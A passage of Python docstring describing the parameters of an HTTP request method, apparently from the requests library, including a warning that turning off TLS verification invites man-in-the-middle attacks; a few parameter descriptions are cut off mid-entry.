        :param url: URL for the new :class:`Request` object.
        :param params: (optional) Dictionary or bytes to be sent in the query
            string for the :class:`Request`.
        :param data: (optional) Dictionary, list of tuples, bytes, or file-like
            object to send in the body of the :class:`Request`.
        :param json: (optional) json to send in the body of the
            :class:`Request`.
        :param headers: (optional) Dictionary of HTTP Headers to send with the
            :class:`Request`.
        :param cookies: (optional) Dict or CookieJar object to send with the
            :class:`Request`.
        :param files: (optional) Dictionary of ``'filename': file-like-objects``
            for multipart encoding upload.
        :param auth: (optional) Auth tuple or callable to enable
            Basic/Digest/Custom HTTP Auth.
        :param timeout: (optional) How many seconds to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) &lt;timeouts&gt;` tuple.

        :param proxies: (optional) Dictionary mapping protocol or protocol and
            hostname to the URL of the proxy.
        :param hooks: (optional) Dictionary mapping hook name to one event or
            list of events, event must be callable.

            content. Defaults to ``False``.

            the server's TLS certificate, or a string, in which case it must be a path
            to a CA bundle to use. Defaults to ``True``. When set to
            ``False``, requests will accept any TLS certificate presented by
            the server, and will ignore hostname mismatches and/or expired
            certificates, which will make your application vulnerable to
            man-in-the-middle (MitM) attacks. Setting verify to ``False``
            may be useful during local development or testing.
